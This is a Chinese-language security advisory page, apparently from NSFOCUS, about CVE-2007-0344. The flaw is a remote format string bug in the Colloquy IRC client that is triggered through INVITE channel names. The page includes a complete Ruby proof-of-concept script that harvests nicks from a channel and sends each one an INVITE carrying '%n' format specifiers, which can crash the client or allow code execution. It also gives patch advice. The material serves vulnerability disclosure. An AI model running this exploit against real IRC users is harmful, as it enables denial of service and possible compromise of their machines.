安全研究
安全漏洞
Colloquy INVITE请求远程格式字符串漏洞
发布日期:2007-01-16
更新日期:2007-01-26
受影响系统:
Colloquy Colloquy 2.1 (3545)不受影响系统:
Colloquy Colloquy 2.1 (3558)描述:
BUGTRAQ ID: 22086
CVE(CAN) ID: CVE-2007-0344
Colloquy是高级的IRC、SILC & ICB客户端。
Colloquy 2.1 (3558)之前版本在_invitedToRoom:及 _invitedToDirectChat: in Colloquy 2.1中存在远程格式字符串漏洞,远程攻击者通过INVITE请求的channel名称的格式字符串指示符,利用此漏洞可造成拒绝服务,也可能执行任意代码。
<*来源:LMH (lmh@info-pull.com)
链接:http://secunia.com/advisories/23801
http://projects.info-pull.com/moab/MOAB-16-01-2007.html
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
# (c) Copyright 2006 Lance M. Havok <lmh@info-pull.com>
#
# Makes use of the Colloquy INVITE format string vulnerability.
#
require 'socket'
target_channel = (ARGV[0] || "#whatever")
target_server = (ARGV[1] || "irc.server.org")
target_port = (ARGV[2] || 6667)
rand_nick = "spongebo"
channel_joined = false
ready_to_go = false
abuse_attempts = 2
chan_fmtstring = ("#%n%n%n%n") # develop payload when feeling like it.
target_furries = []
irc_socket = TCPSocket.new(target_server, target_port.to_i)
irc_socket.print "USER #{rand_nick} localhost localhost r\n"
irc_socket.print "NICK #{rand_nick}\r\n"
while true
s = irc_socket.gets
case s.strip
when /^PING :(.+)$/i
puts "++ PING..."
irc_socket.send "PONG :#{$1}\n", 0
puts "++ PONG."
when /^:(.+?)!(.+?)@(.+?)\sPRIVMSG\s.+\s:[\001]PING (.+)[\001]$/i
puts "++ CTCP PING from #{$1}!#{$2}@#{$3}"
irc_socket.send "NOTICE #{$1} :\001PING #{$4}\001\n", 0
when /^:(.+?)!(.+?)@(.+?)\sPRIVMSG\s.+\s:[\001]VERSION[\001]$/i
puts "++ CTCP VERSION from #{$1}!#{$2}@#{$3}"
irc_socket.send "NOTICE #{$1} :\001VERSION Unabomber v0.011\001\n", 0
when /n=(.+) (.+) (.+) (.+) (.+) (.*)$/i
nickarr = s.scan(/n=(.+) (.+) (.+) (.+) (.+) (.*)/).flatten
if nickarr.size > 3
if nickarr[2].size > 2 and nickarr[2] != target_server
nickarr = nickarr[2]
elsif nickarr[1].size > 2 and nickarr[1] != target_server
nickarr = nickarr[1]
elsif nickarr[3].size > 2 and nickarr[3] != target_server
nickarr = nickarr[3]
end
target_furries << nickarr
end
else
unless channel_joined
#irc_socket.send "JOIN #{target_channel}\n", 0 (uncomment to join channel)
irc_socket.send "JOIN #{chan_fmtstring}\n", 0
channel_joined = true
end
if channel_joined and abuse_attempts != 0
irc_socket.send "WHO #{target_channel}\n", 0
abuse_attempts -= 1
end
# we need to throttle the pwnage or server will kick our ass
if target_furries.size > 1
target_furries.each do |zealot|
puts "++ Pwning #{zealot}"
irc_socket.send "INVITE #{zealot} #{chan_fmtstring}\n", 0
sleep 1
end
end
end
end
建议:
厂商补丁:
Colloquy
--------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
http://colloquy.info/
浏览次数:1787
严重程度:0(网友投票)
绿盟科技给您安全的保障
